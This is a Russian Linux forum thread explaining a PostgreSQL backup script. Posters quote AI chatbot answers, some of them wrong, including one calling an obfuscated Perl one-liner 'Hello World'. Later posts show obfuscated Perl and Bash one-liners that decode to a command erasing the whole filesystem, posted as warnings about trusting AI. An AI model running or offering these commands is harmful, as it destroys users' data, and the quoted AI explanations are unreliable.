Что делает скрипт?

Автор Dimas, 12 октября 2024, 09:00:22

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Dimas

Уважаемые форумчане, прошу помощи в разборке скрипта. Подскажите, пожалуйста, что он делает.
Сам скрипт:
#!/bin/bash
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)
BK_DIR=/var/opt/backup
/usr/bin/mkdir $BK_DIR/$DT
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]}
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi

/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd

for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done

Спасибо большое.

David Blackheart

Запихните все это вот сюда - duck.ai. Все разжует и разложит по полочкам. Всегда можно уточнить любой непонятный момент.

yoric

Написал дюку, в ответ молчание (выбрал liama). Так что на бота надейся, а сам не плошай!

Dimas, прочитайте про команды, которые в этом скрипте. По ним сразу всё понятно. Можно команды запускать отдельно, тоже будет понятно. Например,
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)переменной DT присваивается выхлоп команды "/usr/bin/date +%Y%m%d-%H%M%S"
И так далее.

ek-nfn

#3
Цитата: yoric от 12 октября 2024, 13:03:32Написал дюку, в ответ молчание (выбрал liama). Так что на бота надейся, а сам не плошай!
Может не понравился ваш IP ? Мне без задержек выдал следующее :
Открыть содержимое (спойлер)
Предоставленный вами скрипт — это скрипт Bash, предназначенный для создания резервной копии базы данных PostgreSQL и некоторых файлов конфигурации, а также для управления старыми резервными копиями. Вот краткое описание каждой части скрипта:

Разбивка скрипта
Настройка даты и каталога резервных копий:
bash

Копировать Код
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)
BK_DIR=/var/opt/backup
/usr/bin/mkdir $BK_DIR/$DT
DT сохраняет текущую дату и время в формате YYYYMMDD-HHMMSS.
BK_DIR установлен путь к каталогу резервной копии.
В разделе BK_DIR создан новый каталог с текущей датой и временем.
Резервное копирование базы PostgreSQL:
bash

Копировать Код
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS
  • }_${PIPESTATUS[1]}
Эта команда выполняется pg_basebackup для создания резервной копии базы данных PostgreSQL.
Выходные данные сжимаются с помощью zstd с максимальным сжатием и 4 потоками.
Результат выполнения команды сохраняется в RESULT, который содержит коды завершения команд pg_basebackup и zstd.
Обработка результатов:
bash

Копировать Код
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi
Если обе команды выполнены успешно (статус выхода 0), результат записывается в ok.result в каталоге резервных копий.
Если произошла ошибка, результат записывается в error.result в текущем каталоге.
Backup Configuration Files:
bash

Копировать Код
/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd
This command creates a tarball of the PostgreSQL configuration files and compresses it with zstd.
Очистка старых резервных копий:
bash

Копировать Код
for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done
Этот цикл выводит список каталогов с резервными копиями, исключая «потерянные+найденные», сортирует их по времени создания и удаляет все, кроме 30 самых последних резервных копий.
Примечание: в команде есть опечатка; вместо рм -рф должно быть рм -рф (первый символ — кириллица «р», а не латиница «r»).
Краткие сведения
Этот скрипт автоматизирует процесс резервного копирования базы данных PostgreSQL и файлов её конфигурации, а также управляет количеством сохраняемых резервных копий. Убедитесь, что вы запускаете этот скрипт с соответствующими разрешениями, и рассмотрите возможность добавления обработки ошибок и ведения журнала для удобства обслуживания.
[свернуть]


Debian 12  -> Devuan 5 xfce -> MX Linux 23

yoric

Цитата: ek-nfn от 12 октября 2024, 13:54:53Может не понравился ваш IP ?
Это уже дискриминация!

dzhoser

По цифровому признаку!
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

ek-nfn

Цитата: yoric от 12 октября 2024, 14:32:59Это уже дискриминация!
неправильно выбранная аватарка  :D
Debian 12  -> Devuan 5 xfce -> MX Linux 23

Лия

#7
https://www.linux.org.ru/forum/development/392747

Цитироватьwhat this command does? perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
ЦитироватьThis Perl command is a bit complex, but I'll break it down for you.

This command is an example of a Perl "obfuscated" program, which is a program that is intentionally written to be difficult to understand. It's often used as a puzzle or a challenge to decipher.

Here's what the command does:

    perl -e: This runs the Perl interpreter with the code that follows as a string.

    The code is a series of Perl statements that are executed in order. Here's a breakdown of what each part does:

        '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;: This is a series of substitution operations that modify the value of the special variable ?'.The'?` variable holds the status of the last system call. However, in this case, it's being used as a string.

        y; -/:-@[-{-};`: This is a transliteration operation that replaces certain characters in the string with other characters.

        ``-{/" -;;`: This is another substitution operation that modifies the string.

        s;;$_;see: This is a substitution operation that replaces the string with the contents of the special variable $_. However, since $_ is not defined anywhere in the code, this substitution doesn't actually do anything.

    The final result of all these operations is that the string "Hello World" is printed to the console.

So, in short, this command prints "Hello World" to the console, but it does so in a very convoluted and obfuscated way.
Так что не советую этим пользоваться :)
P.S. правильный ответ:
system"рм -рф /"
P.P.S. К чести других моделей, они пишут, что это обфускация, но правильного ответа не дают :(

12 октября 2024, 21:49:50
Что же делает ваш скрипт:
Создаёт директорию с текущей датой и временем (date +%Y%m%d-%H%M%S) в /var/opt/backup
Делает бэкап базы данных PostgreSQL и сжимает его с помощью zstd на максимальном уровне сжатия в 4 потока, сохраняя в файл pg1c.tar.zstd
Записывает в переменную RESULT результат выполнения бэкапа и сжатия
Если успешно, то сохраняет его в файл ok.result в директории, созданной выше
Если нет, в файл error.result

Делает бэкап файлов конфигурации PostgreSQL (/etc/postgresql /etc/postgresql-common) и сжимает его с помощью zstd на максимальном уровне сжатия в 4 потока, сохраняя в файл etc.tar.zstd

Удаляет старые бэкапы, оставляя последние 30 бэкапов

P.S. ну это как я поняла...

dzhoser

#8
Цитата: Лия от 12 октября 2024, 21:35:30Так что не советую этим пользоваться :)
а этим
Цитироватьне запускать!!! аналог rm  -rf /
$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
        {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);
ну и на bash
ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

Лия

#9
Цитата: dzhoser от 12 октября 2024, 21:58:10$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
        {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);
Цитата: dzhoser от 12 октября 2024, 21:58:10ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null

не, не понимает :)


ЦитироватьThis command is written in Perl and appears to be a simple obfuscation technique. Here's a breakdown of what it does:

    The first line assigns a string to the variable $var. The string contains a mix of special characters and symbols.

    The second line uses the tr function, which is a transliteration operator in Perl. It replaces each character in the first set with the corresponding character in the second set. In this case, it replaces the special characters in the string with lowercase letters and some additional characters.

    The eval function is then used to execute the modified string as Perl code.

However, without knowing the exact context or the expected output, it's difficult to provide a more detailed explanation. The code seems to be designed to obfuscate its true purpose, making it harder to understand its intent.

It's worth noting that using eval can be a security risk if the input is not properly sanitized, as it can execute arbitrary code. In this case, the input is a hardcoded string, so it's not a security risk. But in general, it's recommended to avoid using eval whenever possible.
ЦитироватьThis command is written in Bash and appears to be a simple obfuscation technique. Here's a breakdown of what it does:

    The echo command prints the string '%\%#{<-{}<&{' to the standard output.

    The tr command is used to transliterate the characters in the string. It replaces each character in the first set with the corresponding character in the second set. In this case, it replaces the characters in the range of space to / (space, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /) with the characters in the range of backtick to { (backtick, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {).

    However, the actual replacement is not that straightforward. The tr command is replacing the characters in the first set with the corresponding characters in the second set, but the second set is not a simple range of characters. It's a set of characters that starts with backtick and ends with {, but it's not a continuous range.

    The actual replacement is:
        space becomes backtick
        ! becomes a
        " becomes b
        becomes c
        $ becomes d
        % becomes e
        & becomes f
        ' becomes g
        ( becomes h
        ) becomes i
            becomes j
            becomes k
        , becomes l
            becomes m
        . becomes n
        / becomes o

    The rest of the characters in the string are not replaced because they are not in the first set.

    The result of the tr command is assigned to the variable ISF.

    The variable ISF is then executed as a command, and the output is redirected to /dev/null, which discards the output. The 2>/dev/null part redirects the standard error to /dev/null, which discards any error messages.

The actual command that is executed is echo, which simply prints the string to the standard output. However, the output is discarded because it's redirected to /dev/null.

It's worth noting that this command is likely used to test if the system allows the execution of arbitrary commands, or to test if the system has certain security restrictions in place.

12 октября 2024, 22:05:45
Оно, конечно, близко, но не говорит о том, что же, собственно, делает этот код :)

12 октября 2024, 22:07:11
Я-то понимаю, а представьте новичка, который вбивает это в промпт ИИ и получает в ответ: да всё норм, это Hello World (как в моём предыдущем сообщении) :)

ek-nfn

Цитата: Лия от 12 октября 2024, 22:04:25Я-то понимаю, а представьте новичка, который вбивает это в промпт ИИ и получает в ответ: да всё норм, это Hello World
Есть ИИ заточенные чисто на написание кода, а не для общего применения. Предложенный выше к ним не относится. Это как выбирать правильный инструмент для той или иной работы, не надо использовать первый попавшийся. Для новичков ИИ будет лучший инструмент, чем ожидание на форуме сутками правильного ответа на свой вопрос, которого может и не дождаться.
Debian 12  -> Devuan 5 xfce -> MX Linux 23

dzhoser

#11
Ответ для ТС который я надеюсь он дожлался
#!/bin/bash  #Шабанг для идентификации файла как скрип на баше
DT=$(/usr/bin/date +%Y%m%d-%H%M%S) #переременная которая берет значение команды date в формате год.месяц.день-Часы минуты секунды 
BK_DIR=/var/opt/backup #Переменная
/usr/bin/mkdir $BK_DIR/$DT # Создание директории со значением переменной BK_DIR
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]} # Эта команда выполняется pg_basebackup для создания резервной копии базы данных PostgreSQL.
Выходные данные сжимаются с помощью zstd с максимальным сжатием и 4 потоками.
Результат выполнения команды сохраняется в RESULT, который содержит коды
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi
#Цикл в зависимости от варианта исполнения команды /usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]} выводит сообщений о выполнении команды или ошибки
/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd # сжатие бэкапа в 4 потока

for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done
удаление архивов кроме 30 последних
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

Dimas

Цитата: dzhoser от 13 октября 2024, 15:51:18Ответ для ТС который я надеюсь он дожлался
Конечно дождался. Огромное Вам спасибо. Непонятно только почему использовано сжатие в 4 потока. Что дают потоки?

ek-nfn

#13
Цитата: Dimas от 13 октября 2024, 19:08:25сжатие в 4 потока. Что дают потоки?
ускорение сжатия в разы. если ядер (потоков) у вашего cpu больше, то ставьте больше, нагрузка небольшая, а скорость сжатия кратно выше. У zstd скорость сжатия можно увеличивать и  уменьшением степени сжатия, заменив --ultra на параметр меньше 19, но тогда и файл архива будет побольше
Debian 12  -> Devuan 5 xfce -> MX Linux 23

Лия

#14
Цитата: ek-nfn от 13 октября 2024, 09:15:00Для новичков ИИ будет лучший инструмент, чем ожидание на форуме сутками правильного ответа на свой вопрос, которого может и не дождаться.
А ещё ИИ умеет "галлюцинировать" - опытный человек сразу видит проблему - а новичок нет
Так что не согласна с вами